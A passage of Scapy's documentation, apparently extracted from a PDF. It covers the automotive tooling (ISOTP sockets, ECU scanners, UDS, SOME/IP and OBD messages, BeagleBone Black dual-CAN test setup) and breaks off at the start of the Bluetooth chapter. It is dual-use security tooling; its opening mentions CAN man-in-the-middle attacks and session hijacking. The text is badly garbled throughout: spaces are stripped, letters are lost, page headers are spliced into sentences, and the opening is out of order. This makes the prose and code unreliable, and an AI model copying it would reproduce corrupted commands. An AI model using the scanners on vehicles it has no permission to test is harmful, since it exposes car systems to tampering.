ThisguideexplainsthehardwaresetuponaBeagleBoneBlack.
TheBeagleBoneBlackwaschosenbecauseofitstwoCANinterfacesonthemainprocessor.
ThepresenceoftwoCANinterfacesinonedevicegivesthepossibilityofCANMITMattacksandsessionhijacking.
TheCannelloniframeworkturnsaBeagleBoneBlackintoaCAN-to-UDPinterface,whichgivesyouthefreedomtorunScapyonamorepowerfulmachine.
:threadBridge.
start()threadSender.
start()Sniffonvcan1:receive=isoTpSocketVCan1.
sniff(timeout=1)Closesockets:isoTpSocketVCan0.
close()isoTpSocketVCan1.
close()126Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
AnISOTPSocketwillnotrespectsrc,dst,exdst,exsrcofanISOTPmessageobject.
9.
6ISOTPSocketsScapyprovidestwokindsofISOTPSockets.
Oneimplementation,theISOTPNativeSocketisusingtheLinuxkernelmodulefromHartkopp.
Theotherimplementation,theISOTPSoftSocketiscompletelyimplementedinPython.
ThisimplementationcanbeusedonLinux,Windows,andOSX.
9.
6.
1ISOTPNativeSocketRequires:Python3LinuxHartkopp'sLinuxkernelmodule:https://github.
com/hartkopp/can-isotp.
gitDuringpentests,theISOTPNativeSocketshasabetterperformanceandreliability,usually.
IfyouareworkingonLinux,considerthisimplementation:conf.
contribs['ISOTP']={'use-can-isotp-kernel-module':True}load_contrib('isotp')sock=ISOTPSocket("can0",sid=0x641,did=0x241)SincethisimplementationisusingastandardLinuxsocket,allScapyfunctionslikesniff,sr,sr1,bridge_and_sniffworkoutofthebox.
9.
6.
2ISOTPSoftSocketISOTPSoftSocketscanuseanyCANSocket.
Thisgivestheexibilitytouseallpython-caninterfaces.
Additionally,thesesocketsworkonPython2andPython3.
UsageonLinuxwithnativeCANSockets:conf.
contribs['ISOTP']={'use-can-isotp-kernel-module':False}load_contrib('isotp')withISOTPSocket("can0",sid=0x641,did=0x241)assock:sock.
send(.
.
.
)Usagewithpython-canCANSockets:conf.
contribs['ISOTP']={'use-can-isotp-kernel-module':False}conf.
contribs['CANSocket']={'use-python-can':True}load_contrib('isotp')withISOTPSocket(CANSocket(bustype='socketcan',channel="can0"),sid=0x641,→did=0x241)assock:sock.
send(.
.
.
)Thissecondexampleallowstheusageofanypython_can.
interfaceobject.
Attention:TheinternalimplementationofISOTPSoftSocketsrequiresabackgroundthread.
Inordertobeabletoclosethisthreadproperly,wesuggesttheuseofPythonswithstatement.
9.
6.
ISOTPSockets127ScapyDocumentation,Release2.
4.
4.
9.
6.
3ISOTPScanandISOTPScannerISOTPScanisautilityfunctiontondISOTP-EndpointsonaCAN-Bus.
ISOTPScannerisacommandline-utilityfortheidenticalfunction.
Commandlineusageexample:python-mscapy.
tools.
automotive.
isotpscanner-husage:isotpscanner[-iinterface][-cchannel][-bbitrate][-nNOISE_LISTEN_TIME][-tSNIFF_TIME][-x|--extended][-C|--piso][-v|--verbose][-h|--help][-sstart][-eend]ScanforopenISOTP-Sockets.
requiredarguments:-c,--channelpython-canchannelorLinuxSocketCANinterface→name-s,--startStartscanatthisidentifier(hex)-e,--endEndscanatthisidentifier(hex)additionalrequiredargumentsforWINDOWSorPython2:-i,--interfacepython-caninterfaceforthescan.
Dependsonusedinterpreterandsystem,seeexamplesbelow.
Anypython-caninterfacecanbeprovided.
Pleasesee:https://python-can.
readthedocs.
ioforfurtherinterfaceexamples.
-b,--bitratepython-canbitrate.
optionalarguments:-h,--helpshowthishelpmessageandexit-nNOISE_LISTEN_TIME,--noise_listen_timeNOISE_LISTEN_TIMESecondslisteningfornoisebeforescan.
-tSNIFF_TIME,--sniff_timeSNIFF_TIMEDurationinmillisecondsasniffiswaitingforaflow-controlresponse.
-x,--extendedScanwithISOTPextendedaddressing.
-C,--pisoPrint'Copy&Paste'-readyISOTPSockets.
-v,--verboseDisplayinformationduringscan.
Exampleofuse:Python2orWindows:python2-mscapy.
tools.
automotive.
isotpscanner--interface=pcan--→channel=PCAN_USBBUS1--bitrate=250000--start0--end100python2-mscapy.
tools.
automotive.
isotpscanner--interfacevector--→channel0--bitrate250000--start0--end100python2-mscapy.
tools.
automotive.
isotpscanner--interfacesocketcan--→channel=can0--bitrate=250000--start0--end100Python3onLinux:python3-mscapy.
tools.
automotive.
isotpscanner--channelcan0--start→0--end100Interactiveshellusageexample:128Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
>>>conf.
contribs['ISOTP']={'use-can-isotp-kernel-module':True}>>>conf.
contribs['CANSocket']={'use-python-can':False}>>>load_contrib('cansocket')>>>load_contrib('isotp')>>>socks=ISOTPScan(CANSocket("vcan0"),range(0x700,0x800),can_→interface="vcan0")>>>socks[at0x7f98e27c8210>,at0x7f98f9079cd0>,at0x7f98f90cd490>,at0x7f98f912ec50>,at0x7f98f912e950>,at0x7f98f906c0d0>]9.
6.
4XCPScannerTheXCPScannerisautilitytondtheCANidentiersofECUsthatsupportXCP.
Commandlineusageexample:python-mscapy.
tools.
automotive.
xcpscanner-hFindsXCPslavesusingthe"GetSlaveId"-message(Broadcast)orthe"Connect→"-message.
positionalarguments:channelLinuxSocketCANinterfacename,e.
g.
:vcan0optionalarguments:-h,--helpshowthishelpmessageandexit--startSTART,-sSTARTStartidentifierCAN(inhex).
Thescanwilltestidsbetween--startand--end→(inclusive)Default:0x00--endEND,-eENDEndidentifierCAN(inhex).
Thescanwilltestidsbetween--startand--end→(inclusive)Default:0x7ff--sniff_time','-t'Durationinmillisecondsasniffiswaitingfora→response.
Default:100--broadcast,-bUseBroadcast-messageGetSlaveIdinsteadof→default"Connect"(GetSlaveIdisanoptionalMessagethatisnot→alwaysimplemented)--verboseVERBOSE,-vDisplayinformationduringscanExamples:(continuesonnextpage)9.
6.
ISOTPSockets129ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)python3.
6-mscapy.
tools.
automotive.
xcpscannercan0python3.
6-mscapy.
tools.
automotive.
xcpscannercan0-b500python3.
6-mscapy.
tools.
automotive.
xcpscannercan0-s50-e100python3.
6-mscapy.
tools.
automotive.
xcpscannercan0-b500-vInteractiveshellusageexample::>>>conf.
contribs['CANSocket']={'use-python-can':False}>>>load_layer("can")>>>load_contrib("automotive.
xcp.
xcp")>>>sock=CANSocket("vcan0")>>>sock.
basecls=XCPOnCAN>>>scanner=XCPOnCANScanner(sock)>>>result=scanner.
start_scan()Theresultincludestheslave_id(theidentieroftheEcuthatreceivesXCPmessages),andthere-sponse_id(theidentierthattheEcuwillsendXCPmessagesto).
9.
7UDSThemainusageofUDSisashinganddiagnosticofanEcu.
UDSisanapplicationlayerprotocolandcanbeusedasaDoIPorHSFZpayloadoraUDSpacketcandirectlybesentoveranISOTPSocket.
EveryOEMhasitsowncustomizationofUDS.
ThisincreasesthedifcultyofgenericapplicationsandOEMspecicknowledgeisrequiredforpenetrationtests.
RoutineControljobsandReadDataByIdenti-er/WriteDataByIdentierservicesareheavilycustomized.
Usetheargumentbasecls=UDSontheinitfunctionofanISOTPSocket.
Herearetwousageexamples:9.
7.
1CustomizationofUDS_RDBI,UDS_WDBIInreal-worlduse-cases,theUDSlayerisheavilycustomized.
OEMsdenetheirownsubstruc-tureofpackets.
EspeciallythepacketsReadDataByIdentierorWriteDataByIdentierhaveaveryOEMorevenEcuspecicsubstructure.
ThereforeaStrFielddataRecordisnotaddedtothefield_desc.
TheintendedusageistocreateEcuorOEMspecicdescriptionles,whichextendthegeneralUDSlayerofScapywithfurtherprotocolimplementations.
Customizationexample:catscapy/contrib/automotive/OEM-XYZ/car-model-xyz.
py#!
/usr/bin/envpython#ProtocolcustomizationforcarmodelxyzofOEMXYZ#ThisfilecontainsfurtherOEMcarmodelspecificUDSadditions.
fromscapy.
packetimportPacketfromscapy.
contrib.
automotive.
udsimport*(continuesonnextpage)130Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)#DefineanewpacketsubstructureclassDBI_IP(Packet):name='DataByIdentifier_IP_Packet'fields_desc=[ByteField('ADDRESS_FORMAT_ID',0),IPField('IP',''),IPField('SUBNETMASK',''),IPField('DEFAULT_GATEWAY','')]#BindthenewsubstructureontotheexistingUDSpacketsbind_layers(UDS_RDBIPR,DBI_IP,dataIdentifier=0x172b)bind_layers(UDS_WDBI,DBI_IP,dataIdentifier=0x172b)#GiveaddanicenametodataIdentifiersenumUDS_RDBI.
dataIdentifiers[0x172b]='GatewayIP'Ifonewantstoworkwiththiscustomadditions,thesecanbeloadedatruntimetotheScapyinterpreter:>>>load_contrib('automotive.
uds')>>>load_contrib('automotive.
OEM-XYZ.
car-model-xyz')>>>pkt=UDS()/UDS_WDBI()/DBI_IP(IP='192.
168.
2.
1',SUBNETMASK='255.
255.
→255.
0',DEFAULT_GATEWAY='192.
168.
2.
1')>>>pkt.
show()###[UDS]###service=WriteDataByIdentifier###[WriteDataByIdentifier]###dataIdentifier=GatewayIPdataRecord=0###[DataByIdentifier_IP_Packet]###ADDRESS_FORMAT_ID=0IP=192.
168.
2.
1SUBNETMASK=255.
255.
255.
0DEFAULT_GATEWAY=192.
168.
2.
1>>>hexdump(pkt)00002E172B00C0A80201FFFFFF00C0A802019.
7.
UDS131ScapyDocumentation,Release2.
4.
4.
9.
8GMLANGMLANisverysimilartoUDS.
It'sGMsapplicationlayerprotocolforashing,calibrationanddiag-nosticoftheircars.
Usetheargumentbasecls=GMLANontheinitfunctionofanISOTPSocket.
Usageexample:9.
9EcuUtilityexamplesTheEcuutilitycanbeusedtoanalyzetheinternalstatesofanEcuunderinvestigation.
Thisutilitydependsheavilyonthesupportoftheusedprotocol.
UDSissupported.
9.
9.
1LogallcommandsappliedtoanEcuThisexampleshowstheloggingmechanismofanEcuobject.
ThelogofanEcuisadictionaryofappliedUDScommands.
ThekeyforthisdictionaryistheUDSservicename.
Thevalueconsistsofalistoftuples,containingatimestampandalogvalueUsageexample:ecu=Ecu(verbose=False,store_supported_responses=False)ecu.
update(PacketList(msgs))print(ecu.
log)timestamp,value=ecu.
log["DiagnosticSessionControl"][0]9.
9.
2TraceallcommandsappliedtoanEcuThisexampleshowsthetracemechanismofanEcuobject.
TracesofthecurrentstateoftheEcuobjectandthereceivedmessageareprintedonstdout.
Somemessages,dependingontheprotocol,willchangetheinternalstateoftheEcu.
Usageexample:ecu=Ecu(verbose=True,logging=False,store_supported_responses=False)ecu.
update(PacketList(msgs))print(ecu.
current_session)9.
9.
3GeneratesupportedresponsesofanEcuThisexampleshowsamechanismtoclonearealworldEcubyanalyzingalistofPackets.
Usageexample:ecu=Ecu(verbose=False,logging=False,store_supported_responses=True)ecu.
update(PacketList(msgs))supported_responses=ecu.
supported_responsesunanswered_packets=ecu.
unanswered_packetsprint(supported_responses)print(unanswered_packets)132Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
9.
9.
4AnalyzemultipleUDSmessagesThisexampleshowshowtoloadUDSmessagesfroma.
pcaplecontainingCANmessages.
APcapReaderobjectisusedassocketandanISOTPSessionparsesCANframestoISOTPframeswhicharethencastedtoUDSobjectsthroughthebaseclsparameterUsageexample:withPcapReader("test/contrib/automotive/ecu_trace.
pcap")assock:udsmsgs=sniff(session=ISOTPSession,session_kwargs={"use_ext_addr→":False,"basecls":UDS},count=50,opened_socket=sock)ecu=Ecu()ecu.
update(udsmsgs)print(ecu.
log)print(ecu.
supported_responses)assertlen(ecu.
log["TransferData"])==29.
9.
5AnalyzeontheywithEcuSessionThisexampleshowstheusageofanEcuSessioninsniff.
AnISOTPSocketoranysocketlikeobjectwhichreturnsentiremessagesoftherightprotocolcanbeused.
AnEcuSessionisusedassuperses-sioninanISOTPSession.
ToobtaintheEcuobjectfromanEcuSession,theEcuSessionhastobecreatedoutsideofsniff.
Usageexample:session=EcuSession()withPcapReader("test/contrib/automotive/ecu_trace.
pcap")assock:udsmsgs=sniff(session=ISOTPSession,session_kwargs={"supersession":→session,"use_ext_addr":False,"basecls":UDS},count=50,opened_→socket=sock)ecu=session.
ecuprint(ecu.
log)print(ecu.
supported_responses)9.
10SOME/IPandSOME/IPSDmessages9.
10.
1CreatingaSOME/IPmessageThisexampleshowsaSOME/IPmessagewhichrequestsaservice0x1234withthemethod0x421.
DifferenttypesofSOME/IPmessagesfollowthesameprocedureandtheirspecicationscanbeseenherehttp://www.
some-ip.
com/papers/cache/AUTOSAR_TR_SomeIpExample_4.
2.
1.
pdf.
Loadthecontribution:load_contrib('automotive.
someip')CreateUDPpackage:9.
10.
SOME/IPandSOME/IPSDmessages133ScapyDocumentation,Release2.
4.
4.
u=UDP(sport=30509,dport=30509)CreateIPpackage:i=IP(src="192.
168.
0.
13",dst="192.
168.
0.
10")CreateSOME/IPpackage:sip=SOMEIP()sip.
iface_ver=0sip.
proto_ver=1sip.
msg_type="REQUEST"sip.
retcode="E_OK"sip.
srv_id=0x1234sip.
method_id=0x421Addthepayload:sip.
add_payload(Raw("Hello"))Stackitandsendit:p=i/u/sipsend(p)9.
10.
2CreatingaSOME/IPSDmessageInthisexampleaSOME/IPSDofferservicemessageisshownwithanIPv4endpoint.
Dif-ferententriesandoptionsbasicallyfollowthesameprocedureasshownhereandcanbeseenathttps://www.
autosar.
org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_ServiceDiscovery.
pdf.
Loadthecontribution:load_contrib('automotive.
someip')CreateUDPpackage:u=UDP(sport=30490,dport=30490)TheUDPportmustbetheonewhichwaschosenfortheSOME/IPSDtransmission.
CreateIPpackage:i=IP(src="192.
168.
0.
13",dst="224.
224.
224.
245")TheIPsourcemustbefromtheserviceandthedestinationaddressneedstobethechosenmulticastaddress.
Createtheentryarrayinput:ea=SDEntry_Service()ea.
type=0x01(continuesonnextpage)134Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)ea.
srv_id=0x1234ea.
inst_id=0x5678ea.
major_ver=0x00ea.
ttl=3Createtheoptionsarrayinput:oa=SDOption_IP4_EndPoint()oa.
addr="192.
168.
0.
13"oa.
l4_proto=0x11oa.
port=30509l4_protodenestheprotocolforthecommunicationwiththeendpoint,UDPinthiscase.
CreatetheSDpackageandputintheinputs:sd=SD()sd.
set_entryArray(ea)sd.
set_optionArray(oa)Stackitandsendit:p=i/u/sdsend(p)9.
11OBD9.
11.
1OBDmessageOBDisimplementedontopofISOTP.
UseanISOTPSocketforthecommunicationwithanEcu.
Youshouldsettheparametersbasecls=OBDandpadding=TrueinyourISOTPSocketinitcall.
OBDissplitintodifferentservicegroups.
Herearesomeexamplerequests:RequestsupportedPIDsofservice0x01:req=OBD()/OBD_S01(pid=[0x00])TheresponsewillcontainaPacketListField,calleddata_records.
Thiseldcontainstheactualresponse:resp=OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_→PID00(supported_pids=3196041235)])resp.
show()###[On-boarddiagnostics]###service=CurrentPowertrainDiagnosticDataResponse###[ParameterIDs]###\data_records\|###[OBD_S01_PR_Record]###|pid=0x0|###[PID_00_PIDsSupported]###|supported_pids=→PID20+PID1F+PID1C+PID15+PID14+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID0A+PILet'sassumeourEcuundertestsupportsthepid0x15:9.
11.
OBD135ScapyDocumentation,Release2.
4.
4.
req=OBD()/OBD_S01(pid=[0x15])resp=sock.
sr1(req)resp.
show()###[On-boarddiagnostics]###service=CurrentPowertrainDiagnosticDataResponse###[ParameterIDs]###\data_records\|###[OBD_S01_PR_Record]###|pid=0x15|###[PID_15_OxygenSensor2]###|outputVoltage=1.
275V|trim=0%ThedifferentservicesinOBDsupportdifferentkindsofdata.
Service01andService02supportParam-eterIdentiers(pid).
Service03,07and0AsupportDiagnosticTroublecodes(dtc).
Service04doesn'trequireapayload.
Service05isnotimplementedonOBDoverCAN.
Service06supportsMonitoringIdentiers(mid).
Service08supportsTestIdentiers(tid).
Service09supportsInformationIdentiers(iid).
Examples:RequestsupportedInformationIdentiers:req=OBD()/OBD_S09(iid=[0x00])RequesttheVehicleIdenticationNumber(VIN):req=OBD()/OBD_S09(iid=0x02)resp=sock.
sr1(req)resp.
show()###[On-boarddiagnostics]###service=VehicleInformationResponse###[InfotypeIDs]###\data_records\|###[OBD_S09_PR_Record]###|iid=0x2|###[IID_02_VehicleIdentificationNumber]###|count=1|vehicle_identification_numbers=['W0L000051T2123456']9.
12Test-SetupTutorials9.
12.
1HardwareSetupBeagleBoneBlackOperatingSystemSetup1.
DownloadanImageThelatestDebianLinuximagecanbefoundatthewebsitehttps://beagleboard.
org/latest-images.
ChoosetheBeagleBoneBlackIoTversionanddownloadit.
136Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
wgethttps://debian.
beagleboard.
org/images/bone-debian-8.
7\-iot-armhf-2017-03-19-4gb.
img.
xzAfterthedownload,copyittoanSD-Cardwithminimumof4GBstorage.
xzcatbone-debian-8.
7-iot-armhf-2017-03-19-4gb.
img.
xz|\sudoddof=/dev/xvdj2.
EnableWiFiUSB-WiFidonglesarewellsupportedbyDebianLinux.
LoginoverSSHontheBBBandaddtheWiFinetworkcredentialstothele/var/lib/connman/wifi.
config.
IfaUSB-WiFidongleisnotavailable,itisalsopossibletosharethehost'sinternetconnectionwiththeEthernetconnectionoftheBBBemulatedoverUSB.
Atutorialtosharethehostnetworkconnectioncanbefoundonthispage:https://elementztechblog.
wordpress.
com/2014/12/22/sharing-internet-using-network-over-usb-in-beaglebone-black/.
LoginasrootontotheBBB:sshdebian@192.
168.
7.
2sudosuProvidetheWiFilogincredentialstoconnman:echo"[service_home]Type=wifiName=ssidSecurity=wpaPassphrase=xxxxxxxxxxxxx"\>/var/lib/connman/wifi.
configRestarttheconnmanservice:systemctlrestartconnman.
serviceDual-CANSetup1.
DevicetreesetupYou'llneedtofollowthissectiononlyifyouwanttousetwoCANinterfaces(DCAN0andDCAN1).
ThiswilldisableI2C2fromusingpinsP9.
19andP9.
20,whichareneededbyDCAN0.
Youonlyneedtoperformthestepsinthissectiononce.
Warning:ThecongurationinthissectionwilldisableBBBcapesfromworking.
EachcapehasasmallI2CEEPROMthatstoresinfothattheBBBneedstoknowinordertocommunicatewiththecape.
DisableI2C2,andtheBBBhasnowaytotalktocapeEEPROMs.
Ofcourse,ifyoudon'tusecapesthenthisisnotaproblem.
AcquireDTSsourcesthatmatchesyourkernelversion.
Gohereandswitchovertothebranchthatrepresentsyourkernelversion.
DownloadtheentirebranchasaZIPle.
Extractitanddothefollowing(version4.
1shownasanexample):9.
12.
Test-SetupTutorials137ScapyDocumentation,Release2.
4.
4.
#cd~/src/linux-4.
1/arch/arm/boot/dts/include/#rmdt-bindings#ln-sinclude/dt-bindings#cd.
.
Editam335x-bone-common.
dtsiandensurethelinewith"//→pinctrl-0=;"iscommentedout.
Removethecomplete&ocpsectionattheendofthisfile#mvam335x-boneblack.
dtsam335x-boneblack.
raw.
dts#cpp-nostdinc-Iinclude-undef-xassembler-with-cpp→am335x-boneblack.
raw.
dts>am335x-boneblack.
dts#dtc-Wno-unit_address_vs_reg-Odtb-oam335x-boneblack.
→dtb-b0-@am335x-boneblack.
dts#cp/boot/dtbs/am335x-boneblack.
dtb/boot/dtbs/am335x-→boneblack.
orig.
dtb#cpam335x-boneblack.
dtb/boot/dtbs/Reboot2.
OverlaysetupThissectiondescribeshowtobuildthedeviceoverlaysforthetwoCANdevices(DCAN0andDCAN1).
Youonlyneedtoperformthestepsinthissectiononce.
AcquireBBBcapeoverlays,inoneoftwoways.
.
.
#apt-getinstallbb-cape-overlayshttps://github.
com/beagleboard/bb.
org-overlays/Thendothefollowing:#cd~/src/bb.
org-overlays-master/src/arm#ln-s.
.
/.
.
/include#mvBB-CAN1-00A0.
dtsBB-CAN1-00A0.
raw.
dts#cpBB-CAN1-00A0.
raw.
dtsBB-CAN0-00A0.
raw.
dtsEditBB-CAN0-00A0.
raw.
dtsandmakerelevanttoCAN0.
Exampleis→shownbelow.
#cpp-nostdinc-Iinclude-undef-xassembler-with-cppBB-CAN0-→00A0.
raw.
dts>BB-CAN0-00A0.
dts#cpp-nostdinc-Iinclude-undef-xassembler-with-cppBB-CAN1-→00A0.
raw.
dts>BB-CAN1-00A0.
dts#dtc-Wno-unit_address_vs_reg-Odtb-oBB-CAN0-00A0.
dtbo-b0-→@BB-CAN0-00A0.
dts#dtc-Wno-unit_address_vs_reg-Odtb-oBB-CAN1-00A0.
dtbo-b0-→@BB-CAN1-00A0.
dts#cp*.
dtbo/lib/firmware3.
CAN0ExampleOverlayInsidetheDTSfolder,createalewiththecontentofthefollowinglisting.
cd~/bb.
org-overlays/src/armcatBB-CAN0-00A0.
raw.
dts/**Copyright(C)2015RobertNelson(continuesonnextpage)138Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)**VirtualcapeforCAN0onconnectorpinsP9.
19P9.
20**Thisprogramisfreesoftware;youcanredistributeitand/or→modify*itunderthetermsoftheGNUGeneralPublicLicenseversion2as*publishedbytheFreeSoftwareFoundation.
*//dts-v1/;/plugin/;#include#include/{compatible="ti,beaglebone","ti,beaglebone-black","ti,→beaglebone-green";/*identification*/part-number="BB-CAN0";version="00A0";/*statetheresourcesthiscapeuses*/exclusive-use=/*thepinheaderuses*/"P9.
19",/*can0_rx*/"P9.
20",/*can0_tx*//*thehardwareipuses*/"dcan0";fragment@0{target=;__overlay__{bb_dcan0_pins:pinmux_dcan0_pins{pinctrl-single,pins=;};};};fragment@1{target=;__overlay__{status="okay";pinctrl-names="default";pinctrl-0=;};};};EOF4.
TesttheDual-CANSetup9.
12.
Test-SetupTutorials139ScapyDocumentation,Release2.
4.
4.
DothefollowingeachtimeyouneedCAN,orautomatethesestepsifyoulike.
#echoBB-CAN0>/sys/devices/platform/bone_capemgr/slots#echoBB-CAN1>/sys/devices/platform/bone_capemgr/slots#modprobecan#modprobecan-dev#modprobecan-raw#iplinksetcan0uptypecanbitrate50000#iplinksetcan1uptypecanbitrate50000ChecktheoutputoftheCapemanagerifbothCANinterfaceshavebeenloaded.
cat/sys/devices/platform/bone_capemgr/slots0:PF-----11:PF-----12:PF-----13:PF-----14:P-O-L-0OverrideBoardName,00A0,OverrideManuf,BB-CAN05:P-O-L-1OverrideBoardName,00A0,OverrideManuf,BB-CAN1Ifsomethingwentwrong,dmesgprovideskernelmessagestoanalysetherootoffailure.
5.
Referencesembedded-things.
com:EnableCANbusontheBeagleboneBlackelectronics.
stackexchange.
com:BeagleboneBlackCANbusSetup6.
AcknowledgmentThankstoTomHaramori.
Partsofthissectionarecopiedfromhisguide:https://github.
com/haramori/rhme3/blob/master/Preparation/BBB_CAN_setup.
md9.
12.
2ISO-TPKernelModuleInstallationALinuxISO-TPkernelmodulecanbedownloadedfromthiswebsite:https://github.
com/hartkopp/can-isotp.
git.
TheleREADME.
isotpinthisrepositoryprovidesallinformationandnecessarystepsfordownloadingandbuildingthiskernelmodule.
TheISO-TPkernelmoduleshouldalsobeaddedtothe/etc/modulesle,toloadthismoduleautomaticallyatsystembootoftheBBB.
9.
12.
3CAN-InterfaceSetupAsthenalsteptopreparetheBBB'sCANinterfacesforusage,theseinterfaceshavetobesetupthroughsometerminalcommands.
ThebitratecanbechosentotthebitrateofaCANbusundertest.
iplinksetcan0uptypecanbitrate500000iplinksetcan1uptypecanbitrate500000140Chapter9.
AutomotiveScapyDocumentation,Release2.
4.
4.
9.
12.
4RaspberryPiSOME/IPsetupTobuildasmalltestenvironmentinwhichyoucansendSOME/IPmessagestoandfromserverinstancesordisguiseyourselfasaserver,oneRaspberryPi,yourlaptopandthevsomeiplibraryaresufcient.
1.
DownloadimageDownloadthelatestraspbianimage(https://www.
raspberrypi.
org/downloads/raspbian/)andinstallitontheRaspberry.
2.
VsomeipsetupDownloadthevsomeiplibraryontheRapsberry,applythegitpatchsoitcanworkwiththenewerboostlibrariesandtheninstallit.
gitclonehttps://github.
com/GENIVI/vsomeip.
gitcdvsomeipwget-O0001-Support-boost-v1.
66.
patch.
zip\https://github.
com/GENIVI/vsomeip/files/2244890/0001-Support-boost-v1.
→66.
patch.
zipunzip0001-Support-boost-v1.
66.
patch.
zipgitapply0001-Support-boost-v1.
66.
patchmkdirbuildcdbuildcmake-DENABLE_SIGNAL_HANDLING=1.
.
makemakeinstall3.
MakeapplicationsWritesomesmallapplicationswhichfunctionaseitheraserviceoraclientandusetheScapySOME/IPimplementationtocommunicatewiththeclientortheserver.
Examplesforvsomeipap-plicationsareavailableonthevsomeipgithubwikipage(https://github.
com/GENIVI/vsomeip/wiki/vsomeip-in-10-minutes).
9.
12.
5SoftwareSetupCannelloniFrameworkInstallationTheCannelloniframeworkisasmallapplicationwritteninC++totransferCANdataoverUDP.
Inthisway,aresearchercanmaptheCANcommunicationofaremotedevicetoitsworkstation,orevencombinemultipleremoteCANdevicesonhismachine.
Theframeworkcanbedownloadedfromthiswebsite:https://github.
com/mguentner/cannelloni.
git.
TheREADME.
mdleex-plainstheinstallationandusageindetail.
CannellonineedsvirtualCANinterfacesontheoperator'smachine.
ThenextlistingshowsthesetupofvirtualCANinterfaces.
modprobevcaniplinkaddnamevcan0typevcaniplinkaddnamevcan1typevcaniplinksetdevvcan0upiplinksetdevvcan1uptcqdiscadddevvcan0roottbfrate300kbitlatency100msburst1000(continuesonnextpage)9.
12.
Test-SetupTutorials141ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)tcqdiscadddevvcan1roottbfrate300kbitlatency100msburst1000cannelloni-Ivcan0-R-r20000-l20000&cannelloni-Ivcan1-R-r20001-l20001&142Chapter9.
AutomotiveCHAPTERTENBLUETOOTHNote:Ifyou'renewtousingScapy,startwiththeusagedocumentation,whichdescribeshowtouseScapywithEthernetandIP.
Warning:ScapydoesnotsupportBluetoothinterfacesonWindows.
10.
1WhatisBluetoothBluetoothisashortrange,mostlypoint-to-pointwirelesscommunicationprotocolthatoperatesonthe2.
4GHzISMband.
BluetoothstandardsarepubliclyavailablefromtheBluetoothSpecialInterestGroup.
Broadlyspeaking,Bluetoothhasthreedistinctphysical-layerprotocols:BluetoothBasicRate(BR)andEnhancedDataRate(EDR)Thesearethe"classic"Bluetoothphys-icallayers.
BR(BasicRate)reacheseffectivespeedsofupto721kbit/s.
ThiswasratiedasIEEE802.
15.
1-2002(v1.
1)and-2005(v1.
2).
EDR(EnhancedDataRate)wasintroducedasanoptionalfeatureofBluetooth2.
0(2004).
Itcanreacheffectivespeedsof2.
1Mbit/s,andhaslowerpowerconsumptionthanBR.
InBluetooth4.
0andlater,thisisnotsupportedbyLowEnergyinterfaces,unlesstheyaremarkedasdual-mode.
BluetoothHighSpeed(HS)IntroducedasanoptionalfeatureofBluetooth3.
0(2009),thisextendsBluetoothbyprovidingIEEE802.
11(WiFi)asanalternative,higher-speeddatatransport.
NodesnegotiateswitchingwithAMP(AlternativeMAC/PHY).
ThisisonlysupportedbyBluetoothinterfacesmarkedas+HS.
NotallBluetooth3.
0andlaterinterfacessupportit.
BluetoothLowEnergy(BLE)IntroducedinBluetooth4.
0(2010),thisisanalternatephysicallayerdesignedforlowpower,embeddedsystems.
Ithasshortersetuptimes,lowerdataratesandsmallerMTU(maximumtransmissionunit)sizes.
Itaddsbroadcastandmeshnetworktopologies,inadditiontopoint-to-pointlinks.
ThisisonlysupportedbyBluetoothinterfacemarkedas+LEorLowEnergy–notallBluetooth4.
0andlaterinterfacessupportit.
143ScapyDocumentation,Release2.
4.
4.
MostBluetoothinterfacesonPCsuseUSBconnectivity(evenonlaptops),andthisiscontrolledwiththeHost-ControllerInterface(HCI).
Thistypicallydoesn'tsupportpromiscuousmode(snifng),howevertherearemanyotherdedicated,non-HCIdevicesthatsupportit.
10.
1.
1Bluetoothsockets(AF_BLUETOOTH)TherearemultipleprotocolsavailableforBluetooththroughAF_BLUETOOTHsockets:Host-controllerinterface(HCI)BTPROTO_HCIScapyclass:BluetoothHCISocketThisisthe"base"levelinterfaceforcommunicatingwithaBluetoothcontroller.
Everythingisbuiltontopofthis,andthisrepresentsaboutasclosetothephysicallayerasonecangetwithregularBluetoothhardware.
LogicalLinkControlandAdaptationLayerProtocol(L2CAP)BTPROTO_L2CAPScapyclass:BluetoothL2CAPSocketSittingabovetheHCI,itprovidesconnectionandconnection-lessdatatransporttohigherlevelprotocols.
Itprovidesprotocolmultiplexing,packetsegmentationandreassemblyoperations.
Whencommunicatingwithasingledevice,onemayuseaL2CAPchannel.
RFCOMMBluetoothRFCommSocketScapyclass:BluetoothRFCommSocketRFCOMMisaserialportemulationprotocolwhichoperatesoverL2CAP.
Inadditiontoregulardatatransfer,italsosupportsmanipulationofallofRS-232'snon-datacontrolcircuitry(RTS(RequestToSend),DTR(DataTerminalReady),etc.
)10.
1.
2BluetoothonLinuxLinux'sBluetoothstackisdevelopedbytheBlueZproject.
TheLinuxkernelcontainsdriverstoprovideaccesstoBluetoothinterfacesusingHCI,whichareexposedthroughsocketswithAF_BLUETOOTH.
BlueZalsoprovidesauser-spacecompaniontothesekernelinterfaces.
Thekeycomponentsare:bluetoothdAdaemonthatprovidesaccesstoBluetoothdevicesoverD-Bus.
bluetoothctlAninteractivecommand-lineprogramwhichinterfaceswiththebluetoothdoverD-Bus.
hcitoolAcommand-lineprogramwhichinterfacesdirectlywithkernelinterfaces.
SupportforClassicBluetoothinbluezisquitemature,howeverBLEisunderactivedevelopment.
10.
2FirststepsNote:Youmustruntheseexamplesasroot.
ThesehaveonlybeentestedonLinux,andrequireScapyv2.
4.
3orlater.
144Chapter10.
BluetoothScapyDocumentation,Release2.
4.
4.
10.
2.
1VerifyBluetoothdeviceBeforedoinganythingelse,you'llwanttocheckthatyourBluetoothdevicehasactuallybeendetectedbytheoperatingsystem:$hcitooldevDevices:hci0xx:xx:xx:xx:xx:xx10.
2.
